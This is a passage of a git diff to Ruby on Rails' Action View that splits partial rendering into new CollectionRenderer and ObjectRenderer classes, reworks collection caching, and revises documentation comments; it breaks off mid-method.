+      PREFIXED_PARTIAL_NAMES = Concurrent::Map.new do |h, k|
+        h.compute_if_absent(k) { Concurrent::Map.new }
+      end
 
-      def extract_details(options) # :doc:
-        @lookup_context.registered_details.each_with_object({}) do |key, details|
-          value = options[key]
+      def initialize(lookup_context, options)
+        super
+        @context_prefix = lookup_context.prefixes.first
+      end
+
+      private
+        def local_variable(path)
+          if as = @options[:as]
+            raise_invalid_option_as(as) unless /\A[a-z_]\w*\z/.match?(as.to_s)
+            as.to_sym
+          else
+            base = path.end_with?("/") ? "" : File.basename(path)
+            raise_invalid_identifier(path) unless base =~ /\A_?(.*?)(?:\.\w+)*\z/
+            $1.to_sym
+          end
+        end
+
+        IDENTIFIER_ERROR_MESSAGE = "The partial name (%s) is not a valid Ruby identifier; " \
+                                   "make sure your partial name starts with underscore."
+
+        OPTION_AS_ERROR_MESSAGE  = "The value (%s) of the option `as` is not a valid Ruby identifier; " \
+                                   "make sure it starts with lowercase letter, " \
+                                   "and is followed by any combination of letters, numbers and underscores."
+
+        def raise_invalid_identifier(path)
+          raise ArgumentError, IDENTIFIER_ERROR_MESSAGE % path
+        end
 
-          details[key] = Array(value) if value
+        def raise_invalid_option_as(as)
+          raise ArgumentError, OPTION_AS_ERROR_MESSAGE % as
         end
+
+        # Obtains the path to where the object's partial is located. If the object
+        # responds to +to_partial_path+, then +to_partial_path+ will be called and
+        # will provide the path. If the object does not respond to +to_partial_path+,
+        # then an +ArgumentError+ is raised.
+        #
+        # If +prefix_partial_path_with_controller_namespace+ is true, then this
+        # method will prefix the partial paths with a namespace.
+        def partial_path(object, view)
+          object = object.to_model if object.respond_to?(:to_model)
+
+          path = if object.respond_to?(:to_partial_path)
+            object.to_partial_path
+          else
+            raise ArgumentError.new("'#{object.inspect}' is not an ActiveModel-compatible object. It must implement #to_partial_path.")
+          end
+
+          if view.prefix_partial_path_with_controller_namespace
+            PREFIXED_PARTIAL_NAMES[@context_prefix][path] ||= merge_prefix_into_object_path(@context_prefix, path.dup)
+          else
+            path
+          end
+        end
+
+        def merge_prefix_into_object_path(prefix, object_path)
+          if prefix.include?(?/) && object_path.include?(?/)
+            prefixes = []
+            prefix_array = File.dirname(prefix).split("/")
+            object_path_array = object_path.split("/")[0..-3] # skip model dir & partial
+
+            prefix_array.each_with_index do |dir, index|
+              break if dir == object_path_array[index]
+              prefixes << dir
+            end
+
+            (prefixes << object_path).join("/")
+          else
+            object_path
+          end
+        end
+    end
+
+    class RenderedCollection # :nodoc:
+      def self.empty(format)
+        EmptyCollection.new format
       end
 
-      def instrument(name, **options) # :doc:
-        options[:identifier] ||= (@template && @template.identifier) || @path
+      attr_reader :rendered_templates
 
-        ActiveSupport::Notifications.instrument("render_#{name}.action_view", options) do |payload|
-          yield payload
+      def initialize(rendered_templates, spacer)
+        @rendered_templates = rendered_templates
+        @spacer = spacer
+      end
+
+      def body
+        @rendered_templates.map(&:body).join(@spacer.body).html_safe
+      end
+
+      def format
+        rendered_templates.first.format
+      end
+
+      class EmptyCollection
+        attr_reader :format
+
+        def initialize(format)
+          @format = format
         end
+
+        def body; nil; end
+      end
+    end
+
+    class RenderedTemplate # :nodoc:
+      attr_reader :body, :template
+
+      def initialize(body, template)
+        @body = body
+        @template = template
+      end
+
+      def format
+        template.format
+      end
+
+      EMPTY_SPACER = Struct.new(:body).new
+    end
+
+    private
+      NO_DETAILS = {}.freeze
+
+      def extract_details(options) # :doc:
+        details = nil
+        LookupContext.registered_details.each do |key|
+          value = options[key]
+
+          if value
+            (details ||= {})[key] = Array(value)
+          end
+        end
+        details || NO_DETAILS
       end
 
       def prepend_formats(formats) # :doc:
@@ -49,5 +174,13 @@ def prepend_formats(formats) # :doc:
 
         @lookup_context.formats = formats | @lookup_context.formats
       end
+
+      def build_rendered_template(content, template)
+        RenderedTemplate.new content, template
+      end
+
+      def build_rendered_collection(templates, spacer)
+        RenderedCollection.new templates, spacer
+      end
   end
 end
diff --git a/actionview/lib/action_view/renderer/collection_renderer.rb b/actionview/lib/action_view/renderer/collection_renderer.rb
new file mode 100644
index 0000000000000..820ac3c9f0658
--- /dev/null
+++ b/actionview/lib/action_view/renderer/collection_renderer.rb
@@ -0,0 +1,204 @@
+# frozen_string_literal: true
+
+require "action_view/renderer/partial_renderer"
+
+module ActionView
+  class PartialIteration
+    # The number of iterations that will be done by the partial.
+    attr_reader :size
+
+    # The current iteration of the partial.
+    attr_reader :index
+
+    def initialize(size)
+      @size  = size
+      @index = 0
+    end
+
+    # Check if this is the first iteration of the partial.
+    def first?
+      index == 0
+    end
+
+    # Check if this is the last iteration of the partial.
+    def last?
+      index == size - 1
+    end
+
+    def iterate! # :nodoc:
+      @index += 1
+    end
+  end
+
+  class CollectionRenderer < PartialRenderer # :nodoc:
+    include ObjectRendering
+
+    class CollectionIterator # :nodoc:
+      include Enumerable
+
+      def initialize(collection)
+        @collection = collection
+      end
+
+      def each(&blk)
+        @collection.each(&blk)
+      end
+
+      def size
+        @collection.size
+      end
+
+      def length
+        @collection.respond_to?(:length) ? @collection.length : size
+      end
+
+      def preload!
+        # no-op
+      end
+    end
+
+    class SameCollectionIterator < CollectionIterator # :nodoc:
+      def initialize(collection, path, variables)
+        super(collection)
+        @path      = path
+        @variables = variables
+      end
+
+      def from_collection(collection)
+        self.class.new(collection, @path, @variables)
+      end
+
+      def each_with_info
+        return enum_for(:each_with_info) unless block_given?
+        variables = [@path] + @variables
+        @collection.each { |o| yield(o, variables) }
+      end
+    end
+
+    class PreloadCollectionIterator < SameCollectionIterator # :nodoc:
+      def initialize(collection, path, variables, relation)
+        super(collection, path, variables)
+        relation.skip_preloading! unless relation.loaded?
+        @relation = relation
+      end
+
+      def from_collection(collection)
+        self.class.new(collection, @path, @variables, @relation)
+      end
+
+      def each_with_info
+        return super unless block_given?
+        preload!
+        super
+      end
+
+      def preload!
+        @relation.preload_associations(@collection)
+      end
+    end
+
+    class MixedCollectionIterator < CollectionIterator # :nodoc:
+      def initialize(collection, paths)
+        super(collection)
+        @paths = paths
+      end
+
+      def each_with_info
+        return enum_for(:each_with_info) unless block_given?
+        @collection.each_with_index { |o, i| yield(o, @paths[i]) }
+      end
+    end
+
+    def render_collection_with_partial(collection, partial, context, block)
+      iter_vars  = retrieve_variable(partial)
+
+      collection = if collection.respond_to?(:preload_associations)
+        PreloadCollectionIterator.new(collection, partial, iter_vars, collection)
+      else
+        SameCollectionIterator.new(collection, partial, iter_vars)
+      end
+
+      template = find_template(partial, @locals.keys + iter_vars)
+
+      layout = if !block && (layout = @options[:layout])
+        find_template(layout.to_s, @locals.keys + iter_vars)
+      end
+
+      render_collection(collection, context, partial, template, layout, block)
+    end
+
+    def render_collection_derive_partial(collection, context, block)
+      paths = collection.map { |o| partial_path(o, context) }
+
+      if paths.uniq.length == 1
+        # Homogeneous
+        render_collection_with_partial(collection, paths.first, context, block)
+      else
+        if @options[:cached]
+          raise NotImplementedError, "render caching requires a template. Please specify a partial when rendering"
+        end
+
+        paths.map! { |path| retrieve_variable(path).unshift(path) }
+        collection = MixedCollectionIterator.new(collection, paths)
+        render_collection(collection, context, nil, nil, nil, block)
+      end
+    end
+
+    private
+      def retrieve_variable(path)
+        variable = local_variable(path)
+        [variable, :"#{variable}_counter", :"#{variable}_iteration"]
+      end
+
+      def render_collection(collection, view, path, template, layout, block)
+        identifier = (template && template.identifier) || path
+        ActiveSupport::Notifications.instrument(
+          "render_collection.action_view",
+          identifier: identifier,
+          layout: layout && layout.virtual_path,
+          count: collection.length
+        ) do |payload|
+          spacer = if @options.key?(:spacer_template)
+            spacer_template = find_template(@options[:spacer_template], @locals.keys)
+            build_rendered_template(spacer_template.render(view, @locals), spacer_template)
+          else
+            RenderedTemplate::EMPTY_SPACER
+          end
+
+          collection_body = if template
+            cache_collection_render(payload, view, template, collection) do |filtered_collection|
+              collection_with_template(view, template, layout, filtered_collection, &block)
+            end
+          else
+            collection_with_template(view, nil, layout, collection, &block)
+          end
+
+          return RenderedCollection.empty(@lookup_context.formats.first) if collection_body.empty?
+
+          build_rendered_collection(collection_body, spacer)
+        end
+      end
+
+      def collection_with_template(view, template, layout, collection, &block)
+        locals = @locals
+        cache = {}
+
+        partial_iteration = PartialIteration.new(collection.size)
+
+        collection.each_with_info.map do |object, (path, as, counter, iteration)|
+          index = partial_iteration.index
+
+          locals[as]        = object
+          locals[counter]   = index
+          locals[iteration] = partial_iteration
+
+          _template = (cache[path] ||= (template || find_template(path, @locals.keys + [as, counter, iteration])))
+
+          content = _template.render(view, locals, implicit_locals: [counter, iteration], &block)
+          content = layout.render(view, locals) { content } if layout
+          partial_iteration.iterate!
+          build_rendered_template(content, _template)
+        end
+      end
+  end
+end
diff --git a/actionview/lib/action_view/renderer/object_renderer.rb b/actionview/lib/action_view/renderer/object_renderer.rb
new file mode 100644
index 0000000000000..12c5bb59dccbf
--- /dev/null
+++ b/actionview/lib/action_view/renderer/object_renderer.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module ActionView
+  class ObjectRenderer < PartialRenderer # :nodoc:
+    include ObjectRendering
+
+    def initialize(lookup_context, options)
+      super
+      @object     = nil
+      @local_name = nil
+    end
+
+    def render_object_with_partial(object, partial, context, block)
+      @object     = object
+      @local_name = local_variable(partial)
+      render(partial, context, block)
+    end
+
+    def render_object_derive_partial(object, context, block)
+      path = partial_path(object, context)
+      render_object_with_partial(object, path, context, block)
+    end
+
+    private
+      def template_keys(path)
+        super + [@local_name]
+      end
+
+      def render_partial_template(view, locals, template, layout, block)
+        locals[@local_name || template.variable] = @object
+        super(view, locals, template, layout, block)
+      end
+  end
+end
diff --git a/actionview/lib/action_view/renderer/partial_renderer.rb b/actionview/lib/action_view/renderer/partial_renderer.rb
index 647b15ea94a13..2f0ad2d310a37 100644
--- a/actionview/lib/action_view/renderer/partial_renderer.rb
+++ b/actionview/lib/action_view/renderer/partial_renderer.rb
@@ -1,34 +1,8 @@
-require "concurrent/map"
+# frozen_string_literal: true
+
 require "action_view/renderer/partial_renderer/collection_caching"
 
 module ActionView
-  class PartialIteration
-    # The number of iterations that will be done by the partial.
-    attr_reader :size
-
-    # The current iteration of the partial.
-    attr_reader :index
-
-    def initialize(size)
-      @size  = size
-      @index = 0
-    end
-
-    # Check if this is the first iteration of the partial.
-    def first?
-      index == 0
-    end
-
-    # Check if this is the last iteration of the partial.
-    def last?
-      index == size - 1
-    end
-
-    def iterate! # :nodoc:
-      @index += 1
-    end
-  end
-
   # = Action View Partials
   #
   # There's also a convenience method for rendering sub templates within the current controller that depends on a
@@ -50,12 +24,12 @@ def iterate! # :nodoc:
   #     <%= render partial: "ad", locals: { ad: ad } %>
   #   <% end %>
   #
-  # This would first render "advertiser/_account.html.erb" with @buyer passed in as the local variable +account+, then
-  # render "advertiser/_ad.html.erb" and pass the local variable +ad+ to the template for display.
+  # This would first render <tt>advertiser/_account.html.erb</tt> with <tt>@buyer</tt> passed in as the local variable +account+, then
+  # render <tt>advertiser/_ad.html.erb</tt> and pass the local variable +ad+ to the template for display.
   #
-  # == The :as and :object options
+  # == The +:as+ and +:object+ options
   #
-  # By default <tt>ActionView::PartialRenderer</tt> doesn't have any local variables.
+  # By default ActionView::PartialRenderer doesn't have any local variables.
   # The <tt>:object</tt> option can be used to pass an object to the partial. For instance:
   #
   #   <%= render partial: "account", object: @buyer %>
@@ -74,6 +48,22 @@ def iterate! # :nodoc:
   #
   #   <%= render partial: "account", locals: { user: @buyer } %>
   #
+  # == \Rendering variants of a partial
+  #
+  # The <tt>:variants</tt> option can be used to render a different template variant of a partial. For instance:
+  #
+  #   <%= render partial: "account", variants: :mobile %>
+  #
+  # This will render <tt>_account.html+mobile.erb</tt>. This option also accepts multiple variants
+  # like so:
+  #
+  #   <%= render partial: "account", variants: [:desktop, :mobile] %>
+  #
+  # This will look for the following templates and render the first one that exists:
+  # * <tt>_account.html+desktop.erb</tt>
+  # * <tt>_account.html+mobile.erb</tt>
+  # * <tt>_account.html.erb</tt>
+  #
   # == \Rendering a collection of partials
   #
   # The example of partial use describes a familiar pattern where a template needs to iterate over an array and
@@ -83,7 +73,7 @@ def iterate! # :nodoc:
   #
   #   <%= render partial: "ad", collection: @advertisements %>
   #
-  # This will render "advertiser/_ad.html.erb" and pass the local variable +ad+ to the template for display. An
+  # This will render <tt>advertiser/_ad.html.erb</tt> and pass the local variable +ad+ to the template for display. An
   # iteration object will automatically be made available to the template with a name of the form
   # +partial_name_iteration+. The iteration object has knowledge about which index the current object has in
   # the collection and the total size of the collection. The iteration object also has two convenience methods,
@@ -98,32 +88,29 @@ def iterate! # :nodoc:
   #
   #   <%= render partial: "ad", collection: @advertisements, spacer_template: "ad_divider" %>
   #
-  # If the given <tt>:collection</tt> is +nil+ or empty, <tt>render</tt> will return nil. This will allow you
+  # If the given <tt>:collection</tt> is +nil+ or empty, <tt>render</tt> will return +nil+. This will allow you
   # to specify a text which will be displayed instead by using this form:
   #
   #   <%= render(partial: "ad", collection: @advertisements) || "There's no ad to be displayed" %>
   #
-  # NOTE: Due to backwards compatibility concerns, the collection can't be one of hashes. Normally you'd also
-  # just keep domain objects, like Active Records, in there.
-  #
   # == \Rendering shared partials
   #
   # Two controllers can share a set of partials and render them like this:
   #
   #   <%= render partial: "advertisement/ad", locals: { ad: @advertisement } %>
   #
-  # This will render the partial "advertisement/_ad.html.erb" regardless of which controller this is being called from.
+  # This will render the partial <tt>advertisement/_ad.html.erb</tt> regardless of which controller this is being called from.
   #
-  # == \Rendering objects that respond to `to_partial_path`
+  # == \Rendering objects that respond to +to_partial_path+
   #
   # Instead of explicitly naming the location of a partial, you can also let PartialRenderer do the work
-  # and pick the proper path by checking `to_partial_path` method.
+  # and pick the proper path by checking +to_partial_path+ method.
   #
   #  # @account.to_partial_path returns 'accounts/account', so it can be used to replace:
   #  # <%= render partial: "accounts/account", locals: { account: @account} %>
   #  <%= render partial: @account %>
   #
-  #  # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
+  #  # @posts is an array of Post instances, so every post record returns 'posts/post' on #to_partial_path,
   #  # that's why we can replace:
   #  # <%= render partial: "posts/post", collection: @posts %>
   #  <%= render partial: @posts %>
@@ -143,7 +130,7 @@ def iterate! # :nodoc:
   #  # <%= render partial: "accounts/account", locals: { account: @account} %>
   #  <%= render @account %>
   #
-  #  # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
+  #  # @posts is an array of Post instances, so every post record returns 'posts/post' on #to_partial_path,
   #  # that's why we can replace:
   #  # <%= render partial: "posts/post", collection: @posts %>
   #  <%= render @posts %>
@@ -246,305 +233,51 @@ def iterate! # :nodoc:
   #   </div>
   #
   # As you can see, the <tt>:locals</tt> hash is shared between both the partial and its layout.
-  #
-  # If you pass arguments to "yield" then this will be passed to the block. One way to use this is to pass
-  # an array to layout and treat it as an enumerable.
-  #
-  #   <%# app/views/users/_user.html.erb %>
-  #   <div class="user">
-  #     Budget: $<%= user.budget %>
-  #     <%= yield user %>
-  #   </div>
-  #
-  #   <%# app/views/users/index.html.erb %>
-  #   <%= render layout: @users do |user| %>
-  #     Title: <%= user.title %>
-  #   <% end %>
-  #
-  # This will render the layout for each user and yield to the block, passing the user, each time.
-  #
-  # You can also yield multiple times in one layout and use block arguments to differentiate the sections.
-  #
-  #   <%# app/views/users/_user.html.erb %>
-  #   <div class="user">
-  #     <%= yield user, :header %>
-  #     Budget: $<%= user.budget %>
-  #     <%= yield user, :footer %>
-  #   </div>
-  #
-  #   <%# app/views/users/index.html.erb %>
-  #   <%= render layout: @users do |user, section| %>
-  #     <%- case section when :header -%>
-  #       Title: <%= user.title %>
-  #     <%- when :footer -%>
-  #       Deadline: <%= user.deadline %>
-  #     <%- end -%>
-  #   <% end %>
   class PartialRenderer < AbstractRenderer
     include CollectionCaching
 
-    PREFIXED_PARTIAL_NAMES = Concurrent::Map.new do |h, k|
-      h[k] = Concurrent::Map.new
+    def initialize(lookup_context, options)
+      super(lookup_context)
+      @options = options
+      @locals  = @options[:locals] || {}
+      @details = extract_details(@options)
     end
 
-    def initialize(*)
-      super
-      @context_prefix = @lookup_context.prefixes.first
-    end
-
-    def render(context, options, block)
-      setup(context, options, block)
-      @template = find_partial
+    def render(partial, context, block)
+      template = find_template(partial, template_keys(partial))
 
-      @lookup_context.rendered_format ||= begin
-        if @template && @template.formats.present?
-          @template.formats.first
-        else
-          formats.first
-        end
+      if !block && (layout = @options[:layout])
+        layout = find_template(layout.to_s, template_keys(partial))
       end
 
-      if @collection
-        render_collection
-      else
-        render_partial
-      end
+      render_partial_template(context, @locals, template, layout, block)
     end
 
     private
-
-      def render_collection
-        instrument(:collection, count: @collection.size) do |payload|
-          return nil if @collection.blank?
-
-          if @options.key?(:spacer_template)
-            spacer = find_template(@options[:spacer_template], @locals.keys).render(@view, @locals)
-          end
-
-          cache_collection_render(payload) do
-            @template ? collection_with_template : collection_without_template
-          end.join(spacer).html_safe
-        end
+      def template_keys(_)
+        @locals.keys
       end
 
-      def render_partial
-        instrument(:partial) do |payload|
-          view, locals, block = @view, @locals, @block
-          object, as = @object, @variable
-
-          if !block && (layout = @options[:layout])
-            layout = find_template(layout.to_s, @template_keys)
-          end
-
-          object = locals[as] if object.nil? # Respect object when object is false
-          locals[as] = object if @has_object
-
-          content = @template.render(view, locals) do |*name|
+      def render_partial_template(view, locals, template, layout, block)
+        ActiveSupport::Notifications.instrument(
+          "render_partial.action_view",
+          identifier: template.identifier,
+          layout: layout && layout.virtual_path,
+          locals: locals
+        ) do |payload|
+          content = template.render(view, locals, add_to_stack: !block) do |*name|
             view._layout_for(*name, &block)
           end
 
           content = layout.render(view, locals) { content } if layout
-          payload[:cache_hit] = view.cache_hit
-          content
+          payload[:cache_hit] = view.view_renderer.cache_hits[template.virtual_path]
+          build_rendered_template(content, template)
         end
       end
 
-      # Sets up instance variables needed for rendering a partial. This method
-      # finds the options and details and extracts them. The method also contains
-      # logic that handles the type of object passed in as the partial.
-      #
-      # If +options[:partial]+ is a string, then the +@path+ instance variable is
-      # set to that string. Otherwise, the +options[:partial]+ object must
-      # respond to +to_partial_path+ in order to setup the path.
-      def setup(context, options, block)
-        @view = context
-        @options = options
-        @block   = block
-
-        @locals  = options[:locals] || {}
-        @details = extract_details(options)
-
-        prepend_formats(options[:formats])
-
-        partial = options[:partial]
-
-        if String === partial
-          @has_object = options.key?(:object)
-          @object     = options[:object]
-          @collection = collection_from_options
-          @path       = partial
-        else
-          @has_object = true
-          @object = partial
-          @collection = collection_from_object || collection_from_options
-
-          if @collection
-            paths = @collection_data = @collection.map { |o| partial_path(o) }
-            @path = paths.uniq.one? ? paths.first : nil
-          else
-            @path = partial_path
-          end
-        end
-
-        if as = options[:as]
-          raise_invalid_option_as(as) unless /\A[a-z_]\w*\z/.match?(as.to_s)
-          as = as.to_sym
-        end
-
-        if @path
-          @variable, @variable_counter, @variable_iteration = retrieve_variable(@path, as)
-          @template_keys = retrieve_template_keys
-        else
-          paths.map! { |path| retrieve_variable(path, as).unshift(path) }
-        end
-
-        self
-      end
-
-      def collection_from_options
-        if @options.key?(:collection)
-          collection = @options[:collection]
-          collection ? collection.to_a : []
-        end
-      end
-
-      def collection_from_object
-        @object.to_ary if @object.respond_to?(:to_ary)
-      end
-
-      def find_partial
-        find_template(@path, @template_keys) if @path
-      end
-
       def find_template(path, locals)
         prefixes = path.include?(?/) ? [] : @lookup_context.prefixes
         @lookup_context.find_template(path, prefixes, true, locals, @details)
       end
-
-      def collection_with_template
-        view, locals, template = @view, @locals, @template
-        as, counter, iteration = @variable, @variable_counter, @variable_iteration
-
-        if layout = @options[:layout]
-          layout = find_template(layout, @template_keys)
-        end
-
-        partial_iteration = PartialIteration.new(@collection.size)
-        locals[iteration] = partial_iteration
-
-        @collection.map do |object|
-          locals[as]        = object
-          locals[counter]   = partial_iteration.index
-
-          content = template.render(view, locals)
-          content = layout.render(view, locals) { content } if layout
-          partial_iteration.iterate!
-          content
-        end
-      end
-
-      def collection_without_template
-        view, locals, collection_data = @view, @locals, @collection_data
-        cache = {}
-        keys  = @locals.keys
-
-        partial_iteration = PartialIteration.new(@collection.size)
-
-        @collection.map do |object|
-          index = partial_iteration.index
-          path, as, counter, iteration = collection_data[index]
-
-          locals[as]        = object
-          locals[counter]   = index
-          locals[iteration] = partial_iteration
-
-          template = (cache[path] ||= find_template(path, keys + [as, counter, iteration]))
-          content = template.render(view, locals)
-          partial_iteration.iterate!
-          content
-        end
-      end
-
-      # Obtains the path to where the object's partial is located. If the object
-      # responds to +to_partial_path+, then +to_partial_path+ will be called and
-      # will provide the path. If the object does not respond to +to_partial_path+,
-      # then an +ArgumentError+ is raised.
-      #
-      # If +prefix_partial_path_with_controller_namespace+ is true, then this
-      # method will prefix the partial paths with a namespace.
-      def partial_path(object = @object)
-        object = object.to_model if object.respond_to?(:to_model)
-
-        path = if object.respond_to?(:to_partial_path)
-          object.to_partial_path
-        else
-          raise ArgumentError.new("'#{object.inspect}' is not an ActiveModel-compatible object. It must implement :to_partial_path.")
-        end
-
-        if @view.prefix_partial_path_with_controller_namespace
-          prefixed_partial_names[path] ||= merge_prefix_into_object_path(@context_prefix, path.dup)
-        else
-          path
-        end
-      end
-
-      def prefixed_partial_names
-        @prefixed_partial_names ||= PREFIXED_PARTIAL_NAMES[@context_prefix]
-      end
-
-      def merge_prefix_into_object_path(prefix, object_path)
-        if prefix.include?(?/) && object_path.include?(?/)
-          prefixes = []
-          prefix_array = File.dirname(prefix).split("/")
-          object_path_array = object_path.split("/")[0..-3] # skip model dir & partial
-
-          prefix_array.each_with_index do |dir, index|
-            break if dir == object_path_array[index]
-            prefixes << dir
-          end
-
-          (prefixes << object_path).join("/")
-        else
-          object_path
-        end
-      end
-
-      def retrieve_template_keys
-        keys = @locals.keys
-        keys << @variable if @has_object || @collection
-        if @collection
-          keys << @variable_counter
-          keys << @variable_iteration
-        end
-        keys
-      end
-
-      def retrieve_variable(path, as)
-        variable = as || begin
-          base = path[-1] == "/".freeze ? "".freeze : File.basename(path)
-          raise_invalid_identifier(path) unless base =~ /\A_?(.*?)(?:\.\w+)*\z/
-          $1.to_sym
-        end
-        if @collection
-          variable_counter = :"#{variable}_counter"
-          variable_iteration = :"#{variable}_iteration"
-        end
-        [variable, variable_counter, variable_iteration]
-      end
-
-      IDENTIFIER_ERROR_MESSAGE = "The partial name (%s) is not a valid Ruby identifier; " \
-                                 "make sure your partial name starts with underscore."
-
-      OPTION_AS_ERROR_MESSAGE  = "The value (%s) of the option `as` is not a valid Ruby identifier; " \
-                                 "make sure it starts with lowercase letter, " \
-                                 "and is followed by any combination of letters, numbers and underscores."
-
-      def raise_invalid_identifier(path)
-        raise ArgumentError.new(IDENTIFIER_ERROR_MESSAGE % (path))
-      end
-
-      def raise_invalid_option_as(as)
-        raise ArgumentError.new(OPTION_AS_ERROR_MESSAGE % (as))
-      end
   end
 end
diff --git a/actionview/lib/action_view/renderer/partial_renderer/collection_caching.rb b/actionview/lib/action_view/renderer/partial_renderer/collection_caching.rb
index 1fbe209200e02..94350f4f74dc1 100644
--- a/actionview/lib/action_view/renderer/partial_renderer/collection_caching.rb
+++ b/actionview/lib/action_view/renderer/partial_renderer/collection_caching.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/enumerable"
+
 module ActionView
   module CollectionCaching # :nodoc:
     extend ActiveSupport::Concern
@@ -5,51 +9,121 @@ module CollectionCaching # :nodoc:
     included do
       # Fallback cache store if Action View is used without Rails.
       # Otherwise overridden in Railtie to use Rails.cache.
-      mattr_accessor(:collection_cache) { ActiveSupport::Cache::MemoryStore.new }
+      mattr_accessor :collection_cache, default: ActiveSupport::Cache::MemoryStore.new
     end
 
     private
-      def cache_collection_render(instrumentation_payload)
-        return yield unless @options[:cached]
+      def will_cache?(options, view)
+        options[:cached] && view.controller.respond_to?(:perform_caching) && view.controller.perform_caching
+      end
+
+      def cache_collection_render(instrumentation_payload, view, template, collection)
+        return yield(collection) unless will_cache?(@options, view)
+
+        collection_iterator = collection
 
-        keyed_collection = collection_by_cache_keys
-        cached_partials  = collection_cache.read_multi(*keyed_collection.keys)
+        # Result is a hash with the key represents the
+        # key used for cache lookup and the value is the item
+        # on which the partial is being rendered
+        keyed_collection, ordered_keys = collection_by_cache_keys(view, template, collection)
+
+        # Pull all partials from cache
+        # Result is a hash, key matches the entry in
+        # `keyed_collection` where the cache was retrieved and the
+        # value is the value that was present in the cache
+        cached_partials = collection_cache.read_multi(*keyed_collection.keys)
         instrumentation_payload[:cache_hits] = cached_partials.size
 
-        @collection = keyed_collection.reject { |key, _| cached_partials.key?(key) }.values
-        rendered_partials = @collection.empty? ? [] : yield
+        # Extract the items for the keys that are not found
+        collection = keyed_collection.reject { |key, _| cached_partials.key?(key) }.values
+
+        rendered_partials = collection.empty? ? [] : yield(collection_iterator.from_collection(collection))
 
         index = 0
-        fetch_or_cache_partial(cached_partials, order_by: keyed_collection.each_key) do
+        keyed_partials = fetch_or_cache_partial(cached_partials, template, order_by: keyed_collection.each_key) do
+          # This block is called once
+          # for every cache miss while preserving order.
           rendered_partials[index].tap { index += 1 }
         end
+
+        ordered_keys.map do |key|
+          keyed_partials[key]
+        end
+      end
+
+      def callable_cache_key
+        if @options[:cached].is_a?(Hash) && @options[:cached][:key].respond_to?(:call)
+          @options[:cached][:key]
+        elsif @options[:cached].respond_to?(:call)
+          @options[:cached]
+        end
       end
 
       def callable_cache_key?
-        @options[:cached].respond_to?(:call)
+        callable_cache_key.present?
       end
 
-      def collection_by_cache_keys
-        seed = callable_cache_key? ? @options[:cached] : ->(i) { i }
+      def collection_by_cache_keys(view, template, collection)
+        seed = callable_cache_key? ? callable_cache_key : ->(i) { i }
+
+        digest_path = view.digest_path_from_template(template)
+        collection.preload! if callable_cache_key?
 
-        @collection.each_with_object({}) do |item, hash|
-          hash[expanded_cache_key(seed.call(item))] = item
+        collection.each_with_object([{}, []]) do |item, (hash, ordered_keys)|
+          key = expanded_cache_key(seed.call(item), view, template, digest_path)
+          ordered_keys << key
+          hash[key] = item
         end
       end
 
-      def expanded_cache_key(key)
-        key = @view.fragment_cache_key(@view.cache_fragment_name(key, virtual_path: @template.virtual_path))
+      def expanded_cache_key(key, view, template, digest_path)
+        key = view.combined_fragment_cache_key(view.cache_fragment_name(key, digest_path: digest_path))
         key.frozen? ? key.dup : key # #read_multi & #write may require mutability, Dalli 2.6.0.
       end
 
-      def fetch_or_cache_partial(cached_partials, order_by:)
-        order_by.map do |cache_key|
-          cached_partials.fetch(cache_key) do
-            yield.tap do |rendered_partial|
-              collection_cache.write(cache_key, rendered_partial)
+      # `order_by` is an enumerable object containing keys of the cache,
+      # all keys are  passed in whether found already or not.
+      #
+      # `cached_partials` is a hash. If the value exists
+      # it represents the rendered partial from the cache
+      # otherwise `Hash#fetch` will take the value of its block.
+      #
+      # This method expects a block that will return the rendered
+      # partial. An example is to render all results
+      # for each element that was not found in the cache and store it as an array.
+      # Order it so that the first empty cache element in `cached_partials`
+      # corresponds to the first element in `rendered_partials`.
+      #
+      # If the partial is not already cached it will also be
+      # written back to the underlying cache store.
+      def fetch_or_cache_partial(cached_partials, template, order_by:)
+        entries_to_write = {}
+
+        keyed_partials = order_by.index_with do |cache_key|
+          if content = cached_partials[cache_key]
+            build_rendered_template(content, template)
+          else
+            rendered_partial = yield
+            body = rendered_partial.body
+
+            # We want to cache buffers as raw strings. This both improve performance and
+            # avoid creating forward compatibility issues with the internal representation
+            # of these two types.
+            if body.is_a?(ActionView::OutputBuffer) || body.is_a?(ActiveSupport::SafeBuffer)
+              body = body.to_str
             end
+
+            entries_to_write[cache_key] = body
+            rendered_partial
           end
         end
+
+        unless entries_to_write.empty?
+          expires_in = @options[:cached][:expires_in] if @options[:cached].is_a?(Hash)
+          collection_cache.write_multi(entries_to_write, expires_in: expires_in)
+        end
+
+        keyed_partials
       end
   end
 end
diff --git a/actionview/lib/action_view/renderer/renderer.rb b/actionview/lib/action_view/renderer/renderer.rb
index 2a3b89aebf8a2..df5138bb0cf53 100644
--- a/actionview/lib/action_view/renderer/renderer.rb
+++ b/actionview/lib/action_view/renderer/renderer.rb
@@ -1,4 +1,8 @@
+# frozen_string_literal: true
+
 module ActionView
+  # = Action View \Renderer
+  #
   # This is the main entry point for rendering. It basically delegates
   # to other objects like TemplateRenderer and PartialRenderer which
   # actually renders the template.
@@ -17,10 +21,14 @@ def initialize(lookup_context)
 
     # Main render entry point shared by Action View and Action Controller.
     def render(context, options)
+      render_to_object(context, options).body
+    end
+
+    def render_to_object(context, options) # :nodoc:
       if options.key?(:partial)
-        render_partial(context, options)
+        render_partial_to_object(context, options)
       else
-        render_template(context, options)
+        render_template_to_object(context, options)
       end
     end
 
@@ -37,14 +45,63 @@ def render_body(context, options)
       end
     end
 
-    # Direct access to template rendering.
-    def render_template(context, options) #:nodoc:
-      TemplateRenderer.new(@lookup_context).render(context, options)
+    def render_partial(context, options, &block) # :nodoc:
+      render_partial_to_object(context, options, &block).body
     end
 
-    # Direct access to partial rendering.
-    def render_partial(context, options, &block) #:nodoc:
-      PartialRenderer.new(@lookup_context).render(context, options, block)
+    def cache_hits # :nodoc:
+      @cache_hits ||= {}
     end
+
+    private
+      def render_template_to_object(context, options)
+        TemplateRenderer.new(@lookup_context).render(context, options)
+      end
+
+      def render_partial_to_object(context, options, &block)
+        partial = options[:partial]
+        if String === partial
+          collection = collection_from_options(options)
+
+          if collection
+            # Collection + Partial
+            renderer = CollectionRenderer.new(@lookup_context, options)
+            renderer.render_collection_with_partial(collection, partial, context, block)
+          else
+            if options.key?(:object)
+              # Object + Partial
+              renderer = ObjectRenderer.new(@lookup_context, options)
